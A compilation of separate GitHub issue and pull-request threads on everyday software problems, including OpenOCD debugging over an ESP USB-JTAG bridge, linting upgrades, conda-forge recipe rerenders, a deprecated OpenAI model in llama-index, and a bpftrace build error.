Info : JTAG tap: cc26x2.jrc tap/device found: 0x3bb4102f (mfg: 0x017 (Texas Instruments), part: 0xbb41, ver: 0x3)
Info : JTAG tap: cc26x2.cpu enabled
Warn : [cc26x2.cpu] Only resetting the Cortex-M core, use a reset-init event handler to reset any peripherals or configure hardware srst support.
[cc26x2.cpu] halted due to debug-request, current mode: Thread
xPSR: 0x01000000 pc: 0xfffffffe msp: 0xfffffffc
** Programming Started **
Info : Padding image section 0 at 0x0000003c with 4036 bytes
Info : Padding image section 1 at 0x000013b8 with 8 bytes
Info : Flash write discontinued at 0x00037b86, next section at 0x00057fa8
Error: libusb_bulk_read error: LIBUSB_ERROR_TIMEOUT
Error: libusb_open() failed with LIBUSB_ERROR_ACCESS
Error: libusb_open() failed with LIBUSB_ERROR_ACCESS
Error: libusb_open() failed with LIBUSB_ERROR_ACCESS
Error: libusb_open() failed with LIBUSB_ERROR_ACCESS
Error: libusb_open() failed with LIBUSB_ERROR_ACCESS
Error: libusb_open() failed with LIBUSB_ERROR_ACCESS
Error: esp_usb_jtag: device not found!
Error: esp_usb_jtag: failed to revive USB device!
any ideas what you can try???

Can you share the log from the esp-usb-bridge as well? It would be interesting to see if there are any error reported prior to the error coming from openocd.
Are you able to debug the same device by any other means that the esp-usb-bridge (same device, same openocd)?

Can you share the log from the esp-usb-bridge as well? It would be interesting to see if there are any error reported prior to the error coming from openocd.
Are you able to debug the same device by any other means that the esp-usb-bridge (same device, same openocd)?

I would love to, but how do I get a log with esp?

Are you able to debug the same device by any other means that the esp-usb-bridge (same device, same openocd)?
unfortunately I don't have another programmer

I would love to, but how do I get a log with esp?

The native USB connected to D+, D- is used by the bridge communication (JTAG) in your case. But you can connect to the UART (RxD, TxD) a terminal program. You will see the log there.

unfortunately I don't have another programmer

I would recommend to try find one. Because you can loose a lot of time try to debug the bridge if the issue is not there.

The native USB connected to D+, D- is used by the bridge communication (JTAG) in your case. But you can connect to the UART (RxD, TxD) a terminal program. You will see the log there.

do you mean that when I connect the esp, I have two devices, one jtag and the second com port? I tried to connect to com port speed 9600 and 115200, but there was nothing on the termen

do you mean that when I connect the esp,

Two connections are needed, not one.

One USB connection through the connector connecting to D+ and D-.
Another USB connection to the RxD, TxD signals through an UART-to-USB bridge.

One USB connection through the connector connecting to D+ and D-.
Another USB connection to the RxD, TxD signals through an UART-to-USB bridge.

ok, which pin should I connect to the esp

I (21) boot: ESP-IDF v5.0.1 2nd stage bootloader
I (21) boot: compile time 17:24:36
I (21) boot: chip revision: v0.0
I (24) boot.esp32s2: SPI Speed      : 80MHz
I (29) boot.esp32s2: SPI Mode       : DIO
I (33) boot.esp32s2: SPI Flash Size : 2MB
I (38) boot: Enabling RNG early entropy source...
I (44) boot: Partition Table:
I (47) boot: ## Label            Usage          Type ST Offset   Length
I (54) boot:  0 nvs              WiFi data        01 02 00009000 00006000
I (62) boot:  1 phy_init         RF data          01 01 0000f000 00001000
I (69) boot:  2 factory          factory app      00 00 00010000 00100000
I (77) boot: End of partition table
I (81) esp_image: segment 0: paddr=00010020 vaddr=3f000020 size=0acd8h ( 44248) map
I (98) esp_image: segment 1: paddr=0001ad00 vaddr=3ffbf100 size=02each ( 11948) load
I (101) esp_image: segment 2: paddr=0001dbb4 vaddr=40022000 size=02464h (  9316) load
I (109) esp_image: segment 3: paddr=00020020 vaddr=40080020 size=21a90h (137872) map
I (142) esp_image: segment 4: paddr=00041ab8 vaddr=40024464 size=0ac9ch ( 44188) load
I (160) boot: Loaded app from partition at offset 0x10000
I (160) boot: Disabling RNG early entropy source...
I (172) cache: Instruction cache        : size 8KB, 4Ways, cache line size 32Byte
I (172) cpu_start: Pro cpu up.
I (191) cpu_start: Pro cpu start user code
I (191) cpu_start: cpu freq: 160000000 Hz
I (191) cpu_start: Application information:
I (194) cpu_start: Project name:     bridge
I (199) cpu_start: App version:      30b8d93-dirty
I (204) cpu_start: Compile time:     May  3 2023 17:24:40
I (210) cpu_start: ELF file SHA256:  4b3ca6157c003c04...
I (216) cpu_start: ESP-IDF:          v5.0.1
I (221) cpu_start: Min chip rev:     v0.0
I (226) cpu_start: Max chip rev:     v1.99
I (231) cpu_start: Chip rev:         v0.0
I (235) heap_init: Initializing. RAM available for dynamic allocation:
I (243) heap_init: At 3FFC3918 len 000386E8 (225 KiB): DRAM
I (249) heap_init: At 3FFFC000 len 00003A10 (14 KiB): DRAM
I (255) heap_init: At 3FF9E000 len 00002000 (8 KiB): RTCRAM
I (262) spi_flash: detected chip: generic
I (266) spi_flash: flash io: dio
W (270) spi_flash: Detected size(4096k) larger than the size in the binary image header(2048k). Using the size in the binary image header.
I (283) esp_core_dump_uart: Init core dump to UART
I (289) cpu_start: Starting scheduler on PRO CPU.
I (294) gpio: GPIO[12]| InputEn: 0| OutputEn: 1| OpenDrain: 0| Pullup: 0| Pulldown: 0| Intr:0
I (294) gpio: GPIO[13]| InputEn: 0| OutputEn: 1| OpenDrain: 0| Pullup: 0| Pulldown: 0| Intr:0
I (304) gpio: GPIO[14]| InputEn: 0| OutputEn: 1| OpenDrain: 0| Pullup: 0| Pulldown: 0| Intr:0
I (314) bridge_main: LED GPIO init done
I (324) bridge_msc: MSC disk RAM usage: 698 bytes
I (324) uart: queue free spaces: 20
I (334) gpio: GPIO[7]| InputEn: 0| OutputEn: 0| OpenDrain: 0| Pullup: 1| Pulldown: 0| Intr:0
I (344) gpio: GPIO[4]| InputEn: 0| OutputEn: 0| OpenDrain: 0| Pullup: 1| Pulldown: 0| Intr:0
I (354) bridge_serial: UART & GPIO have been initialized
I (354) gpio: GPIO[3]| InputEn: 0| OutputEn: 1| OpenDrain: 0| Pullup: 0| Pulldown: 0| Intr:0
I (364) gpio: GPIO[8]| InputEn: 0| OutputEn: 1| OpenDrain: 0| Pullup: 0| Pulldown: 0| Intr:0
I (374) gpio: GPIO[10]| InputEn: 0| OutputEn: 1| OpenDrain: 0| Pullup: 0| Pulldown: 0| Intr:0
I (384) gpio: GPIO[9]| InputEn: 1| OutputEn: 0| OpenDrain: 0| Pullup: 0| Pulldown: 0| Intr:0
I (394) bridge_jtag: JTAG GPIO init done
I (544) bridge_jtag: Mounted
I (584) bridge_serial: DTR = 0, RTS = 0 -> BOOT = 1, RST = 1
I (24824) bridge_jtag: bRequest: (3) wValue: (0) wIndex: (0)
I (24824) bridge_jtag: bRequest: (0) wValue: (1) wIndex: (0) "!!!! this line appeared during the firmware"

@newsy5 Can you run openocd with -d3 option to see the verbose debug logs? Until now, I didn't connect any arm chip to the bridge. I will try to test it soon.  We use esp_usb_jtag protocol for the jtag communication, maybe it requires some adjustment.

i test openocd version v0.12.0-esp32-20230419, v0.12.0-esp32-20230313, v0.11.0-esp32-20221026 and v0.12.0 oficial
the problem is always the same

please tell me

Sorry, couldn't test it yet with the arm board. Can I ask for one more debug?
Please add the below lines to your config file and send me the log.txt
espusbjtag log "log.txt"
adapter driver esp_usb_jtag
espusbjtag vid_pid 0x303a 0x1002
espusbjtag caps_descriptor 0x030A
espusbjtag log "log.txt"
adapter speed 1000
source [find target/ti_cc26x2.cfg]
set remotetimeout 100
reset_config trst_only
program ptvo.switch-zr02.hex

conole with config openocd.cfg
adapter driver esp_usb_jtag
espusbjtag vid_pid 0x303a 0x1002
espusbjtag caps_descriptor 0x030A
espusbjtag log "log.txt"
adapter speed 1000
source [find target/ti_cc26x2.cfg]
set remotetimeout 100
reset_config trst_only
program ptvo.switch-zr02.hex
the problem is in the line espusbjtag log "log.txt" everything is as it was without her
adapter driver esp_usb_jtag
espusbjtag vid_pid 0x303a 0x1002
espusbjtag caps_descriptor 0x030A
espusbjtag log "log.txt"
adapter speed 1000
source [find target/ti_cc26x2.cfg]
set remotetimeout 100
reset_config trst_only
program ptvo.switch-zr02.hex
C:\my\openocd-esp32\bin>openocd
Open On-Chip Debugger v0.12.0-esp32-20230419 (2023-04-18-22:02)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
Info : only one transport option; autoselecting 'jtag'
Info : esp_usb_jtag: VID set to 0x303a and PID to 0x1002
Info : esp_usb_jtag: capabilities descriptor set to 0x30a
Error: The 'espusbjtag log' command must be used after 'init'.
openocd.cfg:5: Error:
in procedure 'script'
at file "embedded:startup.tcl", line 28
at file "openocd.cfg", line 5
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Warn : An adapter speed is not selected in the init scripts. OpenOCD will try to run the adapter at very low speed (100 kHz).
Warn : To remove this warnings and achieve reasonable communication speed with the target, set "adapter speed" or "jtag_rclk" in the init scripts.
Info : esp_usb_jtag: serial (4827E24B37E4)
Info : esp_usb_jtag: Device found. Base speed 4800KHz, div range 1 to 1
Info : clock speed 4800 kHz
Warn : There are no enabled taps.  AUTO PROBING MIGHT NOT WORK!!
Error: JTAG scan chain interrogation failed: all zeroes
Error: Check JTAG interface, timings, target power, etc.
Error: Trying to use configured scan chain anyway...
Error: IR capture error at bit 0, saw 0x00 not 0x...3
Warn : Bypassing JTAG setup events due to errors
Warn : gdb services need one or more targets defined

Ok. You can run OpenOCD with -c parameter like below.
openocd -f <scripts> -c "init; espusbjtag log "log.txt""

logs run
cc.txt
log.txt

have you looked at the log, is there a misunderstanding why it doesn't work?

Hi, @newsy5 I am sorry, couldn't figure out why the ARM board disappears during communication.  I need to test it but still don't have a board with the Jtag pins exported.

Finally, I found a board with a Texas arm chip. It couldn't be able to complete the first examination process. I am on it. Will let you know when I have a progress.
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Info : esp_usb_jtag: serial (7CDFA1E0104C)
Info : esp_usb_jtag: Device found. Base speed 4800KHz, div range 1 to 1
Info : clock speed 4800 kHz
Info : JTAG tap: cc32xx.jrc tap/device found: 0x0b97c02f (mfg: 0x017 (Texas Instruments), part: 0xb97c, ver: 0x0)
Info : JTAG tap: cc32xx.cpu enabled
Error: Invalid ACK (4) in DAP response
Error: JTAG-DP STICKY ERROR

tnx, i im wait

@newsy5 After replicating the issue and conducting further investigation, it appears that we encounter a problem when OpenOCD requests a large amount of flash data for read/write operations, particularly on ARM chips. Considering other priorities at the moment, I will address this issue when I have sufficient time available.


linting: Upgrade linting tools to the latest PyPI release versions; Upgrade clang-format config.

References

Description

The current code base was formatted by out-dated linting tools. When running gh workflow, linting check will fail. This PR has the following updates:

Update all linting tools to the latest pypi released versions.
Update clang-format config with new features added in version 18. In addition, format yaml file to match CLP core style. Please check this PR for more details: https://github.com/y-scope/clp/pull/384
Refactor everything after upgrading linter versions.
Note: ideally, we can drop the versions specified in requirements-dev.txt to ensure it always uses the latest one. However, adding the version there would help us keep track of which version of the config file we used to setup these linting tools.

Validation performed

Ensured workflow passed.

It may make sense to add -U to pip install -r requirements-dev.txt in the README so devs upgrade to latest version of linter

It is expected to run with a virtual env so upgrade is not necessarily needed

I know clp uses poetry, but not sure if the github action linter uses the lock file from the package. It is probably overkill for this repo. I am okay with as is

Sorry I didn't quite get this comment...

Can we use the same PR title we used in y-scope/clp?

sure


Fix an issue with bad allocation in post

Fix of the problem with delta[q] reallocating post and screwing everything.

I confirm that the tests run successfully on Linux.

Is this fix of #173 ?

Yes, this is a fix for issue #173. However, this implements a different approach that what we have agreed on in our meeting. If we are OK with this approach instead, this PR would resolve #174, indeed.

Linked with #173 then

Now it should be done, no more modifications planned.

What should actually be the name of that function "mutable_post" ??
Something shorter? Like only delta.mutable(q)? delta.modifyable(q)? delta.modifier(q), ... or whatever else?

I quite like mutable_post, actually.  This PR only makes it more obvious that the underlying structure can be modified. Therefore, one will not use the mutable accessor when they do not want to modify the data structure. Otherwise, using the mutable accessor behaves exactly as it did until now.

Yes, this is a fix for issue #173. However, this implements a different approach that what we have agreed on in our meeting. If we are OK with this approach instead, this PR would resolve #174, indeed.

That's true, but this was really easy, and it looks ok. As I was saying at the meeting, I actually like it this more, but I thought it would be harder to do.

this was really easy, and it looks ok.

I wholeheartedly agree. I am not against this approach. And as far as I know, I am not aware of any cases where this would not solve our problems.


Sorts out use of cache and adds tests

This doesn't yet include the sharing of the cache across tourmanents or the pickling.
It simply makes the use of the cache consistent by properly using the same object in all cases.

Something went wrong in Travis when it attempted to download matplotlib. I'll close this PR and create a new one to kick that off again.


Rerender

Checklist

[x] Used a fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (@conda-forge-admin, please rerender)
[ ] Ensured the license file is being packaged.

This is a tweak on #3

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.
I do have some suggestions for making it better though...
For recipe:

Using toolchain directly in this manner is deprecated.  Consider using the compilers outlined here.

Hi! This is the friendly automated conda-forge-webservice.
I tried to re-render for you, but it looks like there was nothing to do.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.
I do have some suggestions for making it better though...
For recipe:

Using toolchain directly in this manner is deprecated.  Consider using the compilers outlined here.

Hi! This is the friendly automated conda-forge-webservice.
I tried to re-render for you, but it looks like there was nothing to do.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.
I do have some suggestions for making it better though...
For recipe:

Using toolchain directly in this manner is deprecated.  Consider using the compilers outlined here.

Hi! This is the friendly automated conda-forge-webservice.
I tried to re-render for you, but it looks like there was nothing to do.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.
I do have some suggestions for making it better though...
For recipe:

Using toolchain directly in this manner is deprecated.  Consider using the compilers outlined here.

Of course, that was for debugging:)
Sent from my iPhone

On 23. Oct 2018, at 18:59, Björn Grüning<EMAIL_ADDRESS>wrote:
@bgruening commented on this pull request.
In recipe/configure.win.patch:

+--- configure.win	2015-09-25 19:49:08.000000000 +0200
++++ configure.win	2015-09-25 19:49:08.000000000 +0200
+@@ -8,15 +8,8 @@

echo "  cannot find current cairograhics files"

echo "  attempting to download them"

echo 'download.file("http://www.rforge.net/Cairo/files/cairo-current-win.tar.gz","src/cairo-current-win.tar.gz",mode="wb")'|${R_HOME}/bin/R --vanilla --slave

+-    fi
+-    if [ ! -e src/cairo-current-win.tar.gz ]; then
+-	allok=no
+-    else
+-	echo "  unpacking current cairo"
+-	tar fxz src/cairo-current-win.tar.gz
+-	if [ ! -e src/win64/libcairo.a ]; then
+-	    allok=no
+-	fi
++        echo 'untar("src/cairo-current-win.tar.gz", exdir="./", compressed=TRUE)'|${R_HOME}/bin/R --vanilla --slave
Ah damn, can you update this patch without the ls Devon.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

It's odd that tar didn't want to work otherwise on Windows. Anyway, this should presumably pass then.

As the saying goes, the Nth time is the charm!

@bgruening This one's good to go now.

Nice, thanks a lot!


Feature/mqtt connection status

Status
READY
JIRA Ticket
SPACON-412 (android sdk part)
Description
send mqtt connection status across bridge
Todos

[ ] Tests
[ ] Documentation
[ ] License

Steps to Test or Reproduce
Outline the steps to test or reproduce the PR here.
git fetch --all
git checkout <feature_branch>
./gradlew connectedCheck

@boundlessgeo/spatial-connect

👍


reactions: Add a new api endpoint and switch the webapp to use it.

This aims at changing how the API for reactions works to give us flexibility to change the names for emoji in the future without needing a DB migration. We can't really modify the existing reactions endpoints, because they're used by the mobile apps. But we can add new endpoints that are similar to the existing ones, and have the interface we want, and use them on web. The point of doing this migration is that if we rename egg to fried_egg, the use would still be able to click on the reaction row to add/remove that reaction.

@zulipbot label "area: emoji"
@zulipbot claim


PropertyFilterBuilder: Ignore empty rules

Changes
PropertyFilterBuilder now ignores empty rules.

Testing
Added one test to check if buildPropertyFilter ignores empty rules and returns only completed ones.

Thanks for letting me know, https://github.com/iTwin/appui/pull/349 should address the issue.


Allow setting of 'cleanupExecutor' property for custom executors on client builder

If you are creating your own thread pool and giving it to the client for exclusive use,
you probably want the executor cleaned up when the client is closed.

Any thoughts regarding this PR?

@patriot1burke @ronsigal I see you guys are committers, mind pointing me where I could raise some awareness for this minor improvement and get it considered?  Thanks!

Hey Steven,
You could create a JIRA issue here: https://jira.jboss.org/browse/RESTEASY . It could be a Feature Request or Enhancement.
-Ron

Filed as https://issues.jboss.org/browse/RESTEASY-1181

Thanks, Steven. I'll comment on RESTEASY-1181.

Resteasy testsuite passes. PR looks good to merge.

Any news here?


Docs: Replace Code For Greenville with HG in Readme

Trying out the github.dev editor to close #143.

I see this included some merge commits too, which are an artifact of using gitflow to to releases and hotfixes between develop and master.
We've been using this for years, and I don't think those merge commits will cause any issues. I think I just never synced things up in recent months between the stage server.


Feature/drop wizard

This is pretty much ready, minus the config handling.
I thought we might want to test and integrate with the agent, and doing the ciris migration in another PR, but up to you

Ok, I will have to rewrite this to make tags work (and I agree that we need them).
@filosganga
Ideally, I would like to not expose a List[Tags] interface (it doesn't make our code any easier than just using the lib).
Is there an actual abstraction that all messages fall in? I was thinking:
sealed trait Status .. (Failed, Succeeded)
case class Template(id: Id, version: String)

def msg(status: Status, t: Template)

does that make sense to you?

@SystemFw I see your point and agree, if we are going to expose tags, it makes the abstraction too broad.
I think that the abstraction you have proposed makes sense at this time. as ALL the feedback messages should fall into this (even if the feedback message the template is optional for compatibility reason).
An additional point we need to take into account is the timestamp. we should skip feedback messages that are older than 30 minutes (or so) otherwise if we have a Kafka glitch it is going to resubmit all the meters already submitted as now.

Heh, sounds like there's a lot of logic I didn't take into account 😬

even if the feedback message the template is optional for compatibility reason).

Will messages always have it right now though? (so it's there purely to be backwards compatible)

even if the feedback message the template is optional for compatibility reason).

Will messages always have it right now though? (so it's there purely to be backwards compatible)

Yes, and this is an important point. I think that we should separate the Kafka wire format classes from the classes we use in the logic.

I think that we should separate the Kafka wire format classes from the classes we use in the logic.

Yeah I'm doing this now

I need to add some tests and resolve the conflicts, but the code itself should be ready

we need to verify the integration with the agent. I don't think it's quite right right now


Keep recent matrix service requests in local storage and list for users

So they don't have to keep the browser window open while waiting for a matrix to complete.

+1 to @NoopDog
Also, a more future-oriented request, would it be possible to give a job id and give the possibility to the user to come back for the matrix with that job id? Or even better, to automatically e-mail (if the user provides an email in the request for the matrix) the user when the matrix is done?

Closing as matrix service is being sunset.


Content for section doesn't match the title for section...

Section title is "Display a local HTML file"
Content shown is hardcoded HTML markup and does exemplify loading the content from a save resource file.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ace91785-d304-f161-408e-34511fb75ce3
Version Independent ID: ace91785-d304-f161-408e-34511fb75ce3
Content: WebView - .NET MAUI
Content Source: docs/user-interface/controls/webview.md
Product: dotnet-mobile
Technology: dotnet-maui
GitHub Login: @davidbritch
Microsoft Alias: dabritch

Hi @MollsAndHersh
The example's loading a local HTML file from the project. What are you trying to do?


[Question]: InvalidRequestError: The model text-davinci-003 has been deprecated, when execute the code‘’response = query_engine.query(input_text)‘’

Question Validation

[X] I have searched both the documentation and discord for an answer.

Question
my code used to work well, it helped to answer questions for multiple pdfs.
today i find it does not work， and indicate【InvalidRequestError: The model text-davinci-003 has been deprecated， learn more here: https://platform.openai.com/docs/deprecations】

i find text-davinci-003 shut down on 2024-01-04，maybe because text-davinci-003 is no longger supported.

anyone can help me how to solve this problem, tks a lot.

llama-index==0.6.38.post1
openai==0.27.8

Hey @whutxd -- text-davinci-003 has been deleted by OpenAI
Newer versions of llama-index use gpt-3.5-turbo as the default LLM.
Alternatively, you can set the LLM in the service context to be gpt-3.5-turbo
Although 0.6.38 is pretty old, I forget the process for changing the LLM. I'm going to guess it's something like
from llama_index.llms import OpenAI
from llama_index import ServiceContext

service_context= ServiceContext.from_defaults(llm=OpenAI(llm="gpt-3.5-turbo"))

index = VectorStoreIndex.from_documents(documents, service_context=service_context)

# or when loading
index = load_index_from_storage(...., service_context=service_context)

i update the version for llama-index which solve the problem


The program is stuck at "Waiting for Connection"

I run the program following the "Quick Start", but when I click the "Start Thread" button, it seems that no response happen.

Try to comment out the following line in SocketServer.cs
WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden

Then you should be able to see the error message sent by Python.
If it says "found no face" then, based on the previous enquiries I recieved, it might due to the wrong choice of the camera that you used to capture the video stream. To be specific, if you are using a plugged usb-camera rather than the built-in camera of the laptop, you should change the number "0" to "1" or others in the following line in visual_measurement.py:
cap = cv2.VideoCapture(0)

This error might also be caused by the revoking of permission of Python's access to camera or other reasons. Please feel free to sent more feedbacks if this solution doesn't work for you :)

Try to comment out the following line in SocketServer.cs
WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden

Then you should be able to see the error message sent by Python.
If it says "found no face" then, based on the previous enquiries I recieved, it might due to the wrong choice of the camera that you used to capture the video stream. To be specific, if you are using a plugged usb-camera rather than the built-in camera of the laptop, you should change the number "0" to "1" or others in the following line in visual_measurement.py:
cap = cv2.VideoCapture(0)

This error might also be caused by the revoking of permission of Python's access to camera or other reasons. Please feel free to sent more feedbacks if this solution doesn't work for you :)

Thank you to reply. I comment out the "WindowStyle"  as your advise.  I found that the error is the python has no module of "cv2". However, my system's python does has cv2 module. I could run in command line.

Try to comment out the following line in SocketServer.cs
WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden

Then you should be able to see the error message sent by Python.
If it says "found no face" then, based on the previous enquiries I recieved, it might due to the wrong choice of the camera that you used to capture the video stream. To be specific, if you are using a plugged usb-camera rather than the built-in camera of the laptop, you should change the number "0" to "1" or others in the following line in visual_measurement.py:
cap = cv2.VideoCapture(0)

This error might also be caused by the revoking of permission of Python's access to camera or other reasons. Please feel free to sent more feedbacks if this solution doesn't work for you :)

Thank you to reply. I comment out the "WindowStyle" as your advise. I found that the error is the python has no module of "cv2". However, my system's python does has cv2 module. I could run in command line.
I use the full path of python. It can find the cv2 module. But new error happened. "SocketException: 由于套接字没有连接并且(当使用一个 sendto 调用发送数据报套接字时)没有提供地址，发送或接收数据的请求没有被接受。" It can not connect the socketServer.

Did you run the Python scripts in the virtual environment?

Hi, I met the same problem. And I fixed it thankfully. If you have your venv set up and install the cv version (my cv version is <IP_ADDRESS>) as told, the problem may lie on the version of numpy.... try to uninstall numpy and pip install numpy==1.14.5.
What I suggest is run python visual_measurement.py on your own cmd so that you can get a clearer view on what happening

Ok.... Let me specified all the step you might need to take.

firstly, run python visual_measurement.py yourself on your own terminal. For me, the exception is the numpy.core.multiarray cannot be imported to cv.

if your exception is different:
2. Tell us NOW.
else:
2. In venv (use \YOURENV\Scripts\activate.bat if you are using window), uninstall numpy and install the right version using pip uninstall numpy & pip install numpy==1.14.5 (if your open cv is <IP_ADDRESS>, else I really don't know sorry... maybe uninstall it and install the same version as mine?)

redo first step.

As soon as you see your face, close the windows and terminal, change the line 40 in SocketServer.cs to Execute("\"env\\Scripts\\activate.bat\" & cd PythonScript & python visual_measurement.py");// Execute python client script so that the python script run in your virtual environment. Then, immediately save it, start the game, and see your future waifu glaring at you.

If you successfully reach the final step and complete it, remember bring your future waifu and thank me.

This project is nice. Even though you are frowning in front of camera, the model still show happy expression


new commit for Hacktoberfest

What does this PR do?
Added a new node.js book for professional with clickable link.
For resources
Description
Why is this valuable (or not)?
The book is for node.js professionals thus will really be helpful for the experienced individuals
How do we know it's really free?
All we have to do is just visit the website and download its free PDF.
For book lists, is it a book? For course lists, is it a course? etc.
Yes, it is a book.
Checklist:

[x] Read our contributing guidelines.
[x] Search for duplicates.
[x] Include author(s) and platform where appropriate.
[x] Put lists in alphabetical order, correct spacing.
[x] Add needed indications (PDF, access notes, under construction).
[x] Used an informative name for this pull request.

Follow-up

Check the status of GitHub Actions and resolve any reported warnings!

updated the link #8154


RHIROS-1041 show OS versions in desc order while filtering using dropdown

Documentation requires update? :memo:

[ ] Yes
[X] No

Security Checklist :lock:
Upon raising this PR please go through RedHatInsights/secure-coding-checklist
:guardsman: Checklist :dart:

[X] Bugfix
[ ] New Feature
[ ] Refactor
[ ] Unittests Added
[ ] DRY code
[ ] Dependency Added

Additional :mega:
Feel free to add any other relevant details such as links, notes, screenshots, here.

Codecov Report
Patch and project coverage have no change.

Comparison is base (f58315c) 20.44% compared to head (f3d0af4) 20.44%.

:exclamation: Current head f3d0af4 differs from pull request most recent head 8d6ff3d. Consider uploading reports for the commit 8d6ff3d to get more accurate results

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #189   +/-   ##
=======================================
  Coverage   20.44%   20.44%
=======================================
  Files          42       42
  Lines         856      856
  Branches      150      150
=======================================
  Hits          175      175
  Misses        634      634
  Partials       47       47

Impacted Files
Coverage Δ

src/Routes/RosPage/RosPage.js
0.00% <ø> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Can't move window from anywhere other than sidebar

Description
I can't move the window unless my cursor is placed inside the sidebar on the left with the Evernote logo at the top and the icon links/options below it.
It doesn't matter where on the left side I place my cursor, it can be at the top or the very bottom, I'm able to move the window around on my screen.
But as soon as I'm in focused mode, where the note is fullscreen within the app, I can't move the window at all.
App version
Version 0.11.0 (0.11.0)
Environment
OS Type: 	Darwin
OS Platform:	darwin
OS Release: 	17.5.0
Architecture: 	x64

I have this issue as well. I've forked and will try to fix it myself, but I have limited experienced with the Node+Electron ecosystem so it's likely to take a while.
@PaulvdDool  have you had any luck with workarounds?


Build bpftrace fail

I met problem when I try to build the bpftrace on my custom Linux 4.14.79 kernel, which running on a SmartNIC(ARM)
I passed the cmake
cmake -DCMAKE_BUILD_TYPE=Release ..
root@ubuntu:~/bpftrace/build# cmake -DCMAKE_BUILD_TYPE=Release ..
-- The C compiler identification is GNU 7.5.0
-- The CXX compiler identification is GNU 7.5.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc - works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ - works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found LibBcc: /usr/lib/aarch64-linux-gnu/libbcc.so
-- Found LibElf: /usr/lib/aarch64-linux-gnu/libelf.so
-- Performing Test ELF_GETSHDRSTRNDX
-- Performing Test ELF_GETSHDRSTRNDX - Success
-- Found BISON: /usr/bin/bison (found version "3.0.4")
-- Found FLEX: /usr/bin/flex (found version "2.6.0")
-- Looking for name_to_handle_at
-- Looking for name_to_handle_at - found
-- Looking for bcc_prog_load
-- Looking for bcc_prog_load - found
-- Looking for bcc_create_map
-- Looking for bcc_create_map - found
-- Looking for bcc_elf_foreach_sym
-- Looking for bcc_elf_foreach_sym - found
-- Looking for bpf_attach_kfunc
-- Looking for bpf_attach_kfunc - found

#
-- Please install the libbpf development package (missing: LIBBPF_LIBRARIES LIBBPF_INCLUDE_DIRS)

Is this the problem?
#

-- Found LibBfd: /usr/lib/aarch64-linux-gnu/libbfd.so
-- Found LibOpcodes: /usr/lib/aarch64-linux-gnu/libopcodes.so
-- Performing Test LIBBFD_DISASM_FOUR_ARGS_SIGNATURE
-- Performing Test LIBBFD_DISASM_FOUR_ARGS_SIGNATURE - Failed
-- Looking for sys/sdt.h
-- Looking for sys/sdt.h - found
-- Looking for pthread.h
-- Looking for pthread.h - found
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD - Failed
-- Looking for pthread_create in pthreads
-- Looking for pthread_create in pthreads - not found
-- Looking for pthread_create in pthread
-- Looking for pthread_create in pthread - found
-- Found Threads: TRUE
-- Configuring done
-- Generating done
-- Build files have been written to: /root/bpftrace/build

But when I try to make it, it has error, I believe I did good thing in bcc lib, any idea?
root@ubuntu:~/bpftrace/build# make
[  1%] Building CXX object CMakeFiles/parser.dir/parser.tab.cc.o
In file included from /root/bpftrace/src/bpftrace.h:16:0,
                 from /root/bpftrace/src/driver.h:7,
                 from src/parser.yy:34:
/root/bpftrace/src/imap.h: In member function 'bool bpftrace::IMap::is_per_cpu_type()':
/root/bpftrace/src/imap.h:26:25: error: 'BPF_MAP_TYPE_PERCPU_HASH' was not declared in this scope
     return map_type_ == BPF_MAP_TYPE_PERCPU_HASH ||
                         ^~~~~~~~~~~~~~~~~~~~~~~~
/root/bpftrace/src/imap.h:26:25: note: suggested alternative:
In file included from /root/bpftrace/src/bpffeature.h:10:0,
                 from /root/bpftrace/src/bpftrace.h:13,
                 from /root/bpftrace/src/driver.h:7,
                 from src/parser.yy:34:
/root/bpftrace/src/libbpf/bpf.h:10:2: note:   'BPF_MAP_TYPE_PERCPU_HASH'
  BPF_MAP_TYPE_PERCPU_HASH,
  ^~~~~~~~~~~~~~~~~~~~~~~~
In file included from /root/bpftrace/src/bpftrace.h:16:0,
                 from /root/bpftrace/src/driver.h:7,
                 from src/parser.yy:34:
/root/bpftrace/src/imap.h:27:25: error: 'BPF_MAP_TYPE_PERCPU_ARRAY' was not declared in this scope
            map_type_ == BPF_MAP_TYPE_PERCPU_ARRAY;
                         ^~~~~~~~~~~~~~~~~~~~~~~~~
/root/bpftrace/src/imap.h:27:25: note: suggested alternative:
In file included from /root/bpftrace/src/bpffeature.h:10:0,
                 from /root/bpftrace/src/bpftrace.h:13,
                 from /root/bpftrace/src/driver.h:7,
                 from src/parser.yy:34:
/root/bpftrace/src/libbpf/bpf.h:11:2: note:   'BPF_MAP_TYPE_PERCPU_ARRAY'
  BPF_MAP_TYPE_PERCPU_ARRAY,
